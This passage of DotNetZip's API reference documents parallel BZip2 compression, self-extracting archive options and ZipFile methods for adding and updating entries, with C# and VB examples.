also implies a larger memory consumption, more active worker + threads, and a higher cpu utilization for any compression. This + property enables the application to limit its memory consumption and + CPU utilization behavior depending on requirements. + + + + By default, DotNetZip allocates 4 workers per CPU core, subject to the + upper limit specified in this property. For example, suppose the + application sets this property to 16. Then, on a machine with 2 + cores, DotNetZip will use 8 workers; that number does not exceed the + upper limit specified by this property, so the actual number of + workers used will be 4 * 2 = 8. On a machine with 4 cores, DotNetZip + will use 16 workers; again, the limit does not apply. On a machine + with 8 cores, DotNetZip will use 16 workers, because of the limit. + + + + For each compression "worker thread" that occurs in parallel, there is + up to 2mb of memory allocated, for buffering and processing. The + actual number depends on the property. + + + + CPU utilization will also go up with additional workers, because a + larger number of buffer pairs allows a larger number of background + threads to compress in parallel. If you find that parallel + compression is consuming too much memory or CPU, you can adjust this + value downward. + + + + The default value is 16. Different values may deliver better or + worse results, depending on your priorities and the dynamic + performance characteristics of your storage and compute resources. + + + + The application can set this value at any time, but it is effective + only before the first call to Write(), which is when the buffers are + allocated. + + + + + + Close the stream. + + + + This may or may not close the underlying stream. Check the + constructors that accept a bool value. + + + + + + Flush the stream. + + + + + The blocksize parameter specified at construction time. + + + + + Write data to the stream. + + + + + Use the ParallelBZip2OutputStream to compress data while + writing: create a ParallelBZip2OutputStream with a writable + output stream. Then call Write() on that + ParallelBZip2OutputStream, providing uncompressed data as + input. The data sent to the output stream will be the compressed + form of the input data. + + + + A ParallelBZip2OutputStream can be used only for + Write() not for Read(). + + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Indicates whether the stream can be read. + + + The return value is always false. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the + total number of uncompressed bytes written through. + + + + + The total number of bytes written out by the stream. + + + This value is meaningful only after a call to Close(). + + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + this is irrelevant, since it will always throw! + irrelevant! + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + + + + Calling this method always throws a . + + this parameter is never used + this parameter is never used + this parameter is never used + never returns anything; always throws + + + + Returns the "random" number at a specific index. + + the index + the random number + + + + An enum that provides the different self-extractor flavors + + + + + A self-extracting zip archive that runs from the console or + command line. + + + + + A self-extracting zip archive that presents a graphical user + interface when it is executed. + + + + + The options for generating a self-extracting archive. + + + + + The type of SFX to create. + + + + + The command to run after extraction. + + + + + This is optional. Leave it empty (null in C# or Nothing in + VB) to run no command after extraction. + + + + If it is non-empty, the SFX will execute the command specified in this + string on the user's machine, and using the extract directory as the + working directory for the process, after unpacking the archive. The + program to execute can include a path, if you like. If you want to execute + a program that accepts arguments, specify the program name, followed by a + space, and then the arguments for the program, each separated by a space, + just as you would on a normal command line. Example: program.exe arg1 + arg2. The string prior to the first space will be taken as the + program name, and the string following the first space specifies the + arguments to the program. + + + + If you want to execute a program that has a space in the name or path of + the file, surround the program name in double-quotes. The first character + of the command line should be a double-quote character, and there must be + a matching double-quote following the end of the program file name. Any + optional arguments to the program follow that, separated by + spaces. Example: "c:\project files\program name.exe" arg1 arg2. + + + + If the flavor of the SFX is SelfExtractorFlavor.ConsoleApplication, + then the SFX starts a new process, using this string as the post-extract + command line. The SFX waits for the process to exit. The exit code of + the post-extract command line is returned as the exit code of the + command-line self-extractor exe. A non-zero exit code is typically used to + indicated a failure by the program. In the case of an SFX, a non-zero exit + code may indicate a failure during extraction, OR, it may indicate a + failure of the run-after-extract program if specified, OR, it may indicate + the run-after-extract program could not be fuond. There is no way to + distinguish these conditions from the calling shell, aside from parsing + the output of the SFX. If you have Quiet set to true, you may not + see error messages, if a problem occurs. + + + + If the flavor of the SFX is + SelfExtractorFlavor.WinFormsApplication, then the SFX starts a new + process, using this string as the post-extract command line, and using the + extract directory as the working directory for the process. The SFX does + not wait for the command to complete, and does not check the exit code of + the program. If the run-after-extract program cannot be fuond, a message + box is displayed indicating that fact. + + + + You can specify environment variables within this string, with a format like + %NAME%. The value of these variables will be expanded at the time + the SFX is run. Example: %WINDIR%\system32\xcopy.exe may expand at + runtime to c:\Windows\System32\xcopy.exe. + + + + By combining this with the RemoveUnpackedFilesAfterExecute + flag, you can create an SFX that extracts itself, runs a file that + was extracted, then deletes all the files that were extracted. If + you want it to run "invisibly" then set Flavor to + SelfExtractorFlavor.ConsoleApplication, and set Quiet + to true. The user running such an EXE will see a console window + appear, then disappear quickly. You may also want to specify the + default extract location, with DefaultExtractDirectory. + + + + If you set Flavor to + SelfExtractorFlavor.WinFormsApplication, and set Quiet to + true, then a GUI with progressbars is displayed, but it is + "non-interactive" - it accepts no input from the user. Instead the SFX + just automatically unpacks and exits. + + + + + + + The default extract directory the user will see when + running the self-extracting archive. + + + + + Passing null (or Nothing in VB) here will cause the Self Extractor to use + the the user's personal directory () for the default extract + location. + + + + This is only a default location. The actual extract location will be + settable on the command line when the SFX is executed. + + + + You can specify environment variables within this string, + with %NAME%. The value of these variables will be + expanded at the time the SFX is run. Example: + %USERPROFILE%\Documents\unpack may expand at runtime to + c:\users\melvin\Documents\unpack. + + + + + + The name of an .ico file in the filesystem to use for the application icon + for the generated SFX. + + + + + Normally, DotNetZip will embed an "zipped folder" icon into the generated + SFX. If you prefer to use a different icon, you can specify it here. It + should be a .ico file. This file is passed as the /win32icon + option to the csc.exe compiler when constructing the SFX file. + + + + + + + Whether the ConsoleApplication SFX will be quiet during extraction. + + + + + This option affects the way the generated SFX runs. By default it is + false. When you set it to true,... + + + + + Flavor + Behavior + + + + ConsoleApplication + no messages will be emitted during successful + operation. Double-clicking the SFX in Windows + Explorer or as an attachment in an email will cause a console + window to appear briefly, before it disappears. If you run the + ConsoleApplication SFX from the cmd.exe prompt, it runs as a + normal console app; by default, because it is quiet, it displays + no messages to the console. If you pass the -v+ command line + argument to the Console SFX when you run it, you will get verbose + messages to the console. + + + + + WinFormsApplication + the SFX extracts automatically when the application + is launched, with no additional user input. + + + + + + + When you set it to false,... + + + + + Flavor + Behavior + + + + ConsoleApplication + the extractor will emit a + message to the console for each entry extracted. + + When double-clicking to launch the SFX, the console window will + remain, and the SFX will emit a message for each file as it + extracts. The messages fly by quickly, they won't be easily + readable, unless the extracted files are fairly large. + + + + + + WinFormsApplication + the SFX presents a forms UI and allows the user to select + options before extracting. + + + + + + + + + + Specify what the self-extractor will do when extracting an entry + would overwrite an existing file. + + + + The default behavvior is to Throw. + + + + + + Whether to remove the files that have been unpacked, after executing the + PostExtractCommandLine. + + + + + If true, and if there is a + PostExtractCommandLine, and if the command runs successfully, + then the files that the SFX unpacked will be removed, afterwards. If + the command does not complete successfully (non-zero return code), + that is interpreted as a failure, and the extracted files will not be + removed. + + + + Setting this flag, and setting Flavor to + SelfExtractorFlavor.ConsoleApplication, and setting Quiet to + true, results in an SFX that extracts itself, runs a file that was + extracted, then deletes all the files that were extracted, with no + intervention by the user. You may also want to specify the default + extract location, with DefaultExtractDirectory. + + + + + + + The file version number to embed into the generated EXE. It will show up, for + example, during a mouseover in Windows Explorer. + + + + + + The product version to embed into the generated EXE. It will show up, for + example, during a mouseover in Windows Explorer. + + + + You can use any arbitrary string, but a human-readable version number is + recommended. For example "v1.2 alpha" or "v4.2 RC2". If you specify nothing, + then there is no product version embedded into the EXE. + + + + + + The copyright notice, if any, to embed into the generated EXE. + + + + It will show up, for example, while viewing properties of the file in + Windows Explorer. You can use any arbitrary string, but typically you + want something like "Copyright � Dino Chiesa 2011". + + + + + + The description to embed into the generated EXE. + + + + Use any arbitrary string. This text will be displayed during a + mouseover in Windows Explorer. If you specify nothing, then the string + "DotNetZip SFX Archive" is embedded into the EXE as the description. + + + + + + The product name to embed into the generated EXE. + + + + Use any arbitrary string. This text will be displayed + while viewing properties of the EXE file in + Windows Explorer. + + + + + + The title to display in the Window of a GUI SFX, while it extracts. + + + + + By default the title show in the GUI window of a self-extractor + is "DotNetZip Self-extractor (http://DotNetZip.codeplex.com/)". + You can change that by setting this property before saving the SFX. + + + + This property has an effect only when producing a Self-extractor + of flavor SelfExtractorFlavor.WinFormsApplication. + + + + + + + Additional options for the csc.exe compiler, when producing the SFX + EXE. + + + + + + Version of the csc.exe compiler, if not specified then the default version + will be used. + + + + + + The ZipFile type represents a zip archive file. + + + + + This is the main type in the DotNetZip class library. This class reads and + writes zip files, as defined in the specification + for zip files described by PKWare. The compression for this + implementation is provided by a managed-code version of Zlib, included with + DotNetZip in the classes in the Ionic.Zlib namespace. + + + + This class provides a general purpose zip file capability. Use it to read, + create, or update zip files. When you want to create zip files using a + Stream type to write the zip file, you may want to consider the class. + + + + Both the ZipOutputStream class and the ZipFile class can + be used to create zip files. Both of them support many of the common zip + features, including Unicode, different compression methods and levels, + and ZIP64. They provide very similar performance when creating zip + files. + + + + The ZipFile class is generally easier to use than + ZipOutputStream and should be considered a higher-level interface. For + example, when creating a zip file via calls to the PutNextEntry() and + Write() methods on the ZipOutputStream class, the caller is + responsible for opening the file, reading the bytes from the file, writing + those bytes into the ZipOutputStream, setting the attributes on the + ZipEntry, and setting the created, last modified, and last accessed + timestamps on the zip entry. All of these things are done automatically by a + call to ZipFile.AddFile(). + For this reason, the ZipOutputStream is generally recommended for use + only when your application emits arbitrary data, not necessarily data from a + filesystem file, directly into a zip file, and does so using a Stream + metaphor. + + + + Aside from the differences in programming model, there are other + differences in capability between the two classes. + + + + + ZipFile can be used to read and extract zip files, in addition to + creating zip files. ZipOutputStream cannot read zip files. If you want + to use a stream to read zip files, check out the class. + + + + ZipOutputStream does not support the creation of segmented or spanned + zip files. + + + + ZipOutputStream cannot produce a self-extracting archive. + + + + + Be aware that the ZipFile class implements the interface. In order for ZipFile to + produce a valid zip file, you use use it within a using clause (Using + in VB), or call the Dispose() method explicitly. See the examples + for how to employ a using clause. + + + + + + + Saves the ZipFile instance to a self-extracting zip archive. + + + + + + The generated exe image will execute on any machine that has the .NET + Framework 4.0 installed on it. The generated exe image is also a + valid ZIP file, readable with DotNetZip or another Zip library or tool + such as WinZip. + + + + There are two "flavors" of self-extracting archive. The + WinFormsApplication version will pop up a GUI and allow the + user to select a target directory into which to extract. There's also + a checkbox allowing the user to specify to overwrite existing files, + and another checkbox to allow the user to request that Explorer be + opened to see the extracted files after extraction. The other flavor + is ConsoleApplication. A self-extractor generated with that + flavor setting will run from the command line. It accepts command-line + options to set the overwrite behavior, and to specify the target + extraction directory. + + + + There are a few temporary files created during the saving to a + self-extracting zip. These files are created in the directory pointed + to by , which defaults to . These temporary files are + removed upon successful completion of this method. + + + + When a user runs the WinForms SFX, the user's personal directory (Environment.SpecialFolder.Personal) + will be used as the default extract location. If you want to set the + default extract location, you should use the other overload of + SaveSelfExtractor()/ The user who runs the SFX will have the + opportunity to change the extract directory before extracting. When + the user runs the Command-Line SFX, the user must explicitly specify + the directory to which to extract. The .NET Framework 4.0 is required + on the computer when the self-extracting archive is run. + + + + NB: This method is not available in the "Reduced" DotNetZip library. + + + + + + + string DirectoryPath = "c:\\Documents\\Project7"; + using (ZipFile zip = new ZipFile()) + { + zip.AddDirectory(DirectoryPath, System.IO.Path.GetFileName(DirectoryPath)); + zip.Comment = "This will be embedded into a self-extracting console-based exe"; + zip.SaveSelfExtractor("archive.exe", SelfExtractorFlavor.ConsoleApplication); + } + + + Dim DirectoryPath As String = "c:\Documents\Project7" + Using zip As New ZipFile() + zip.AddDirectory(DirectoryPath, System.IO.Path.GetFileName(DirectoryPath)) + zip.Comment = "This will be embedded into a self-extracting console-based exe" + zip.SaveSelfExtractor("archive.exe", SelfExtractorFlavor.ConsoleApplication) + End Using + + + + + a pathname, possibly fully qualified, to be created. Typically it + will end in an .exe extension. + + Indicates whether a Winforms or Console self-extractor is + desired. + + + + Saves the ZipFile instance to a self-extracting zip archive, using + the specified save options. + + + + + This method saves a self extracting archive, using the specified save + options. These options include the flavor of the SFX, the default extract + directory, the icon file, and so on. See the documentation + for for more + details. + + + + The user who runs the SFX will have the opportunity to change the extract + directory before extracting. If at the time of extraction, the specified + directory does not exist, the SFX will create the directory before + extracting the files. + + + + + + This example saves a WinForms-based self-extracting archive EXE that + will use c:\ExtractHere as the default extract location. The C# code + shows syntax for .NET 3.0, which uses an object initializer for + the SelfExtractorOptions object. + + string DirectoryPath = "c:\\Documents\\Project7"; + using (ZipFile zip = new ZipFile()) + { + zip.AddDirectory(DirectoryPath, System.IO.Path.GetFileName(DirectoryPath)); + zip.Comment = "This will be embedded into a self-extracting WinForms-based exe"; + var options = new SelfExtractorOptions + { + Flavor = SelfExtractorFlavor.WinFormsApplication, + DefaultExtractDirectory = "%USERPROFILE%\\ExtractHere", + PostExtractCommandLine = ExeToRunAfterExtract, + SfxExeWindowTitle = "My Custom Window Title", + RemoveUnpackedFilesAfterExecute = true + }; + zip.SaveSelfExtractor("archive.exe", options); + } + + + Dim DirectoryPath As String = "c:\Documents\Project7" + Using zip As New ZipFile() + zip.AddDirectory(DirectoryPath, System.IO.Path.GetFileName(DirectoryPath)) + zip.Comment = "This will be embedded into a self-extracting console-based exe" + Dim options As New SelfExtractorOptions() + options.Flavor = SelfExtractorFlavor.WinFormsApplication + options.DefaultExtractDirectory = "%USERPROFILE%\\ExtractHere" + options.PostExtractCommandLine = ExeToRunAfterExtract + options.SfxExeWindowTitle = "My Custom Window Title" + options.RemoveUnpackedFilesAfterExecute = True + zip.SaveSelfExtractor("archive.exe", options) + End Using + + + + The name of the EXE to generate. + provides the options for creating the + Self-extracting archive. + + + + Adds an item, either a file or a directory, to a zip file archive. + + + + + This method is handy if you are adding things to zip archive and don't + want to bother distinguishing between directories or files. Any files are + added as single entries. A directory added through this method is added + recursively: all files and subdirectories contained within the directory + are added to the ZipFile. + + + + The name of the item may be a relative path or a fully-qualified + path. Remember, the items contained in ZipFile instance get written + to the disk only when you call or a similar + save method. + + + + The directory name used for the file within the archive is the same + as the directory name (potentially a relative path) specified in the + . + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + This method has two overloads. + + the name of the file or directory to add. + + The ZipEntry added. + + + + Adds an item, either a file or a directory, to a zip file archive, + explicitly specifying the directory path to be used in the archive. + + + + + If adding a directory, the add is recursive on all files and + subdirectories contained within it. + + + The name of the item may be a relative path or a fully-qualified path. + The item added by this call to the ZipFile is not read from the + disk nor written to the zip file archive until the application calls + Save() on the ZipFile. + + + + This version of the method allows the caller to explicitly specify the + directory path to be used in the archive, which would override the + "natural" path of the filesystem file. + + + + Encryption will be used on the file data if the Password has + been set on the ZipFile object, prior to calling this method. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + Thrown if the file or directory passed in does not exist. + + + the name of the file or directory to add. + + + + The name of the directory path to use within the zip archive. This path + need not refer to an extant directory in the current filesystem. If the + files within the zip are later extracted, this is the path used for the + extracted file. Passing null (Nothing in VB) will use the + path on the fileOrDirectoryName. Passing the empty string ("") will + insert the item at the root path within the archive. + + + + + + + + This example shows how to zip up a set of files into a flat hierarchy, + regardless of where in the filesystem the files originated. The resulting + zip archive will contain a toplevel directory named "flat", which itself + will contain files Readme.txt, MyProposal.docx, and Image1.jpg. A + subdirectory under "flat" called SupportFiles will contain all the files + in the "c:\SupportFiles" directory on disk. + + + String[] itemnames= { + "c:\\fixedContent\\Readme.txt", + "MyProposal.docx", + "c:\\SupportFiles", // a directory + "images\\Image1.jpg" + }; + + try + { + using (ZipFile zip = new ZipFile()) + { + for (int i = 1; i < itemnames.Length; i++) + { + // will add Files or Dirs, recurses and flattens subdirectories + zip.AddItem(itemnames[i],"flat"); + } + zip.Save(ZipToCreate); + } + } + catch (System.Exception ex1) + { + System.Console.Error.WriteLine("exception: {0}", ex1); + } + + + + Dim itemnames As String() = _ + New String() { "c:\fixedContent\Readme.txt", _ + "MyProposal.docx", _ + "SupportFiles", _ + "images\Image1.jpg" } + Try + Using zip As New ZipFile + Dim i As Integer + For i = 1 To itemnames.Length - 1 + ' will add Files or Dirs, recursing and flattening subdirectories. + zip.AddItem(itemnames(i), "flat") + Next i + zip.Save(ZipToCreate) + End Using + Catch ex1 As Exception + Console.Error.WriteLine("exception: {0}", ex1.ToString()) + End Try + + + The ZipEntry added. + + + + Adds a File to a Zip file archive. + + + + + This call collects metadata for the named file in the filesystem, + including the file attributes and the timestamp, and inserts that metadata + into the resulting ZipEntry. Only when the application calls Save() on + the ZipFile, does DotNetZip read the file from the filesystem and + then write the content to the zip file archive. + + + + This method will throw an exception if an entry with the same name already + exists in the ZipFile. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + In this example, three files are added to a Zip archive. The ReadMe.txt + file will be placed in the root of the archive. The .png file will be + placed in a folder within the zip called photos\personal. The pdf file + will be included into a folder within the zip called Desktop. + + + try + { + using (ZipFile zip = new ZipFile()) + { + zip.AddFile("c:\\photos\\personal\\7440-N49th.png"); + zip.AddFile("c:\\Desktop\\2008-Regional-Sales-Report.pdf"); + zip.AddFile("ReadMe.txt"); + + zip.Save("Package.zip"); + } + } + catch (System.Exception ex1) + { + System.Console.Error.WriteLine("exception: " + ex1); + } + + + + Try + Using zip As ZipFile = New ZipFile + zip.AddFile("c:\photos\personal\7440-N49th.png") + zip.AddFile("c:\Desktop\2008-Regional-Sales-Report.pdf") + zip.AddFile("ReadMe.txt") + zip.Save("Package.zip") + End Using + Catch ex1 As Exception + Console.Error.WriteLine("exception: {0}", ex1.ToString) + End Try + + + + This method has two overloads. + + + + + + + The name of the file to add. It should refer to a file in the filesystem. + The name of the file may be a relative path or a fully-qualified path. + + The ZipEntry corresponding to the File added. + + + + Adds a File to a Zip file archive, potentially overriding the path to be + used within the zip archive. + + + + + The file added by this call to the ZipFile is not written to the + zip file archive until the application calls Save() on the ZipFile. + + + + This method will throw an exception if an entry with the same name already + exists in the ZipFile. + + + + This version of the method allows the caller to explicitly specify the + directory path to be used in the archive. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + In this example, three files are added to a Zip archive. The ReadMe.txt + file will be placed in the root of the archive. The .png file will be + placed in a folder within the zip called images. The pdf file will be + included into a folder within the zip called files\docs, and will be + encrypted with the given password. + + + try + { + using (ZipFile zip = new ZipFile()) + { + // the following entry will be inserted at the root in the archive. + zip.AddFile("c:\\datafiles\\ReadMe.txt", ""); + // this image file will be inserted into the "images" directory in the archive. + zip.AddFile("c:\\photos\\personal\\7440-N49th.png", "images"); + // the following will result in a password-protected file called + // files\\docs\\2008-Regional-Sales-Report.pdf in the archive. + zip.Password = "EncryptMe!"; + zip.AddFile("c:\\Desktop\\2008-Regional-Sales-Report.pdf", "files\\docs"); + zip.Save("Archive.zip"); + } + } + catch (System.Exception ex1) + { + System.Console.Error.WriteLine("exception: {0}", ex1); + } + + + + Try + Using zip As ZipFile = New ZipFile + ' the following entry will be inserted at the root in the archive. + zip.AddFile("c:\datafiles\ReadMe.txt", "") + ' this image file will be inserted into the "images" directory in the archive. + zip.AddFile("c:\photos\personal\7440-N49th.png", "images") + ' the following will result in a password-protected file called + ' files\\docs\\2008-Regional-Sales-Report.pdf in the archive. + zip.Password = "EncryptMe!" + zip.AddFile("c:\Desktop\2008-Regional-Sales-Report.pdf", "files\documents") + zip.Save("Archive.zip") + End Using + Catch ex1 As Exception + Console.Error.WriteLine("exception: {0}", ex1) + End Try + + + + + + + + + The name of the file to add. The name of the file may be a relative path + or a fully-qualified path. + + + + Specifies a directory path to use to override any path in the fileName. + This path may, or may not, correspond to a real directory in the current + filesystem. If the files within the zip are later extracted, this is the + path used for the extracted file. Passing null (Nothing in + VB) will use the path on the fileName, if any. Passing the empty string + ("") will insert the item at the root path within the archive. + + + The ZipEntry corresponding to the file added. + + + + This method removes a collection of entries from the ZipFile. + + + + A collection of ZipEntry instances from this zip file to be removed. For + example, you can pass in an array of ZipEntry instances; or you can call + SelectEntries(), and then add or remove entries from that + ICollection<ZipEntry> (ICollection(Of ZipEntry) in VB), and pass + that ICollection to this method. + + + + + + + + This method removes a collection of entries from the ZipFile, by name. + + + + A collection of strings that refer to names of entries to be removed + from the ZipFile. For example, you can pass in an array or a + List of Strings that provide the names of entries to be removed. + + + + + + + + This method adds a set of files to the ZipFile. + + + + + Use this method to add a set of files to the zip archive, in one call. + For example, a list of files received from + System.IO.Directory.GetFiles() can be added to a zip archive in one + call. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + The collection of names of the files to add. Each string should refer to a + file in the filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + This example shows how to create a zip file, and add a few files into it. + + String ZipFileToCreate = "archive1.zip"; + String DirectoryToZip = "c:\\reports"; + using (ZipFile zip = new ZipFile()) + { + // Store all files found in the top level directory, into the zip archive. + String[] filenames = System.IO.Directory.GetFiles(DirectoryToZip); + zip.AddFiles(filenames); + zip.Save(ZipFileToCreate); + } + + + + Dim ZipFileToCreate As String = "archive1.zip" + Dim DirectoryToZip As String = "c:\reports" + Using zip As ZipFile = New ZipFile + ' Store all files found in the top level directory, into the zip archive. + Dim filenames As String() = System.IO.Directory.GetFiles(DirectoryToZip) + zip.AddFiles(filenames) + zip.Save(ZipFileToCreate) + End Using + + + + + + + + Adds or updates a set of files in the ZipFile. + + + + + Any files that already exist in the archive are updated. Any files that + don't yet exist in the archive are added. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + The collection of names of the files to update. Each string should refer to a file in + the filesystem. The name of the file may be a relative path or a fully-qualified path. + + + + + + Adds a set of files to the ZipFile, using the + specified directory path in the archive. + + + + + Any directory structure that may be present in the + filenames contained in the list is "flattened" in the + archive. Each file in the list is added to the archive in + the specified top-level directory. + + + + For ZipFile properties including , , , , , , and , their respective values at the + time of this call will be applied to each ZipEntry added. + + + + + The names of the files to add. Each string should refer to + a file in the filesystem. The name of the file may be a + relative path or a fully-qualified path. + + + + Specifies a directory path to use to override any path in the file name. + Th is path may, or may not, correspond to a real directory in the current + filesystem. If the files within the zip are later extracted, this is the + path used for the extracted file. Passing null (Nothing in + VB) will use the path on each of the fileNames, if any. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + + + + Adds a set of files to the ZipFile, using the specified directory + path in the archive, and preserving the full directory structure in the + filenames. + + + + + + Think of the as a "root" or + base directory used in the archive for the files that get added. when + is true, the hierarchy of files + found in the filesystem will be placed, with the hierarchy intact, + starting at that root in the archive. When preserveDirHierarchy + is false, the path hierarchy of files is flattned, and the flattened + set of files gets placed in the root within the archive as specified in + directoryPathInArchive. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + + The names of the files to add. Each string should refer to a file in the + filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + Specifies a directory path to use as a prefix for each entry name. + This path may, or may not, correspond to a real directory in the current + filesystem. If the files within the zip are later extracted, this is the + path used for the extracted file. Passing null (Nothing in + VB) will use the path on each of the fileNames, if any. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + whether the entries in the zip archive will reflect the directory + hierarchy that is present in the various filenames. For example, if + includes two paths, + \Animalia\Chordata\Mammalia\Info.txt and + \Plantae\Magnoliophyta\Dicotyledon\Info.txt, then calling this method + with = false will + result in an exception because of a duplicate entry name, while + calling this method with = + true will result in the full direcory paths being included in + the entries added to the ZipFile. + + + + + + Adds or updates a set of files to the ZipFile, using the specified + directory path in the archive. + + + + + + Any files that already exist in the archive are updated. Any files that + don't yet exist in the archive are added. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + The names of the files to add or update. Each string should refer to a + file in the filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + Specifies a directory path to use to override any path in the file name. + This path may, or may not, correspond to a real directory in the current + filesystem. If the files within the zip are later extracted, this is the + path used for the extracted file. Passing null (Nothing in + VB) will use the path on each of the fileNames, if any. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + + + + Adds or Updates a File in a Zip file archive. + + + + + This method adds a file to a zip archive, or, if the file already exists + in the zip archive, this method Updates the content of that given filename + in the zip archive. The UpdateFile method might more accurately be + called "AddOrUpdateFile". + + + + Upon success, there is no way for the application to learn whether the file + was added versus updated. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + This example shows how to Update an existing entry in a zipfile. The first + call to UpdateFile adds the file to the newly-created zip archive. The + second call to UpdateFile updates the content for that file in the zip + archive. + + + using (ZipFile zip1 = new ZipFile()) + { + // UpdateFile might more accurately be called "AddOrUpdateFile" + zip1.UpdateFile("MyDocuments\\Readme.txt"); + zip1.UpdateFile("CustomerList.csv"); + zip1.Comment = "This zip archive has been created."; + zip1.Save("Content.zip"); + } + + using (ZipFile zip2 = ZipFile.Read("Content.zip")) + { + zip2.UpdateFile("Updates\\Readme.txt"); + zip2.Comment = "This zip archive has been updated: The Readme.txt file has been changed."; + zip2.Save(); + } + + + + Using zip1 As New ZipFile + ' UpdateFile might more accurately be called "AddOrUpdateFile" + zip1.UpdateFile("MyDocuments\Readme.txt") + zip1.UpdateFile("CustomerList.csv") + zip1.Comment = "This zip archive has been created." + zip1.Save("Content.zip") + End Using + + Using zip2 As ZipFile = ZipFile.Read("Content.zip") + zip2.UpdateFile("Updates\Readme.txt") + zip2.Comment = "This zip archive has been updated: The Readme.txt file has been changed." + zip2.Save + End Using + + + + + + + + + The name of the file to add or update. It should refer to a file in the + filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + The ZipEntry corresponding to the File that was added or updated. + + + + + Adds or Updates a File in a Zip file archive. + + + + + This method adds a file to a zip archive, or, if the file already exists + in the zip archive, this method Updates the content of that given filename + in the zip archive. + + + + This version of the method allows the caller to explicitly specify the + directory path to be used in the archive. The entry to be added or + updated is found by using the specified directory path, combined with the + basename of the specified filename. + + + + Upon success, there is no way for the application to learn if the file was + added versus updated. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + The name of the file to add or update. It should refer to a file in the + filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + Specifies a directory path to use to override any path in the + fileName. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (Nothing in VB) will use the path on the + fileName, if any. Passing the empty string ("") will insert the + item at the root path within the archive. + + + + The ZipEntry corresponding to the File that was added or updated. + + + + + Add or update a directory in a zip archive. + + + + If the specified directory does not exist in the archive, then this method + is equivalent to calling AddDirectory(). If the specified + directory already exists in the archive, then this method updates any + existing entries, and adds any new entries. Any entries that are in the + zip archive but not in the specified directory, are left alone. In other + words, the contents of the zip file will be a union of the previous + contents and the new files. + + + + + + + + The path to the directory to be added to the zip archive, or updated in + the zip archive. + + + + The ZipEntry corresponding to the Directory that was added or updated. + + + + + Add or update a directory in the zip archive at the specified root + directory in the archive. + + + + If the specified directory does not exist in the archive, then this method + is equivalent to calling AddDirectory(). If the specified + directory already exists in the archive, then this method updates any + existing entries, and adds any new entries. Any entries that are in the + zip archive but not in the specified directory, are left alone. In other + words, the contents of the zip file will be a union of the previous + contents and the new files. + + + + + + + + The path to the directory to be added to the zip archive, or updated + in the zip archive. + + + + Specifies a directory path to use to override any path in the + directoryName. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (Nothing in VB) will use the path on the + directoryName, if any. Passing the empty string ("") will insert + the item at the root path within the archive. + + + + The ZipEntry corresponding to the Directory that was added or updated. + + + + + Add or update a file or directory in the zip archive. + + + + + This is useful when the application is not sure or does not care if the + item to be added is a file or directory, and does not know or does not + care if the item already exists in the ZipFile. Calling this method + is equivalent to calling RemoveEntry() if an entry by the same name + already exists, followed calling by AddItem(). + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + the path to the file or directory to be added or updated. + + + + + Add or update a file or directory. + + + + + This method is useful when the application is not sure or does not care if + the item to be added is a file or directory, and does not know or does not + care if the item already exists in the ZipFile. Calling this method + is equivalent to calling RemoveEntry(), if an entry by that name + exists, and then calling AddItem(). + + + + This version of the method allows the caller to explicitly specify the + directory path to be used for the item being added to the archive. The + entry or entries that are added or updated will use the specified + DirectoryPathInArchive. Extracting the entry from the archive will + result in a file stored in that directory path. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + The path for the File or Directory to be added or updated. + + + Specifies a directory path to use to override any path in the + itemName. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (Nothing in VB) will use the path on the + itemName, if any. Passing the empty string ("") will insert the + item at the root path within the archive. + + + + + Adds a named entry into the zip archive, taking content for the entry + from a string. + + + + Calling this method creates an entry using the given fileName and + directory path within the archive. There is no need for a file by the + given name to exist in the filesystem; the name is used within the zip + archive only. The content for the entry is encoded using the default text + encoding for the machine. + + + + The content of the file, should it be extracted from the zip. + + + + The name, including any path, to use for the entry within the archive. + + + The ZipEntry added. + + + + This example shows how to add an entry to the zipfile, using a string as + content for that entry. + + + string Content = "This string will be the content of the Readme.txt file in the zip archive."; + using (ZipFile zip1 = new ZipFile()) + { + zip1.AddFile("MyDocuments\\Resume.doc", "files"); + zip1.AddEntry("Readme.txt", Content); + zip1.Comment = "This zip file was created at " + System.DateTime.Now.ToString("G"); + zip1.Save("Content.zip"); + } + + + + Public Sub Run() + Dim Content As String = "This string will be the content of the Readme.txt file in the zip archive." + Using zip1 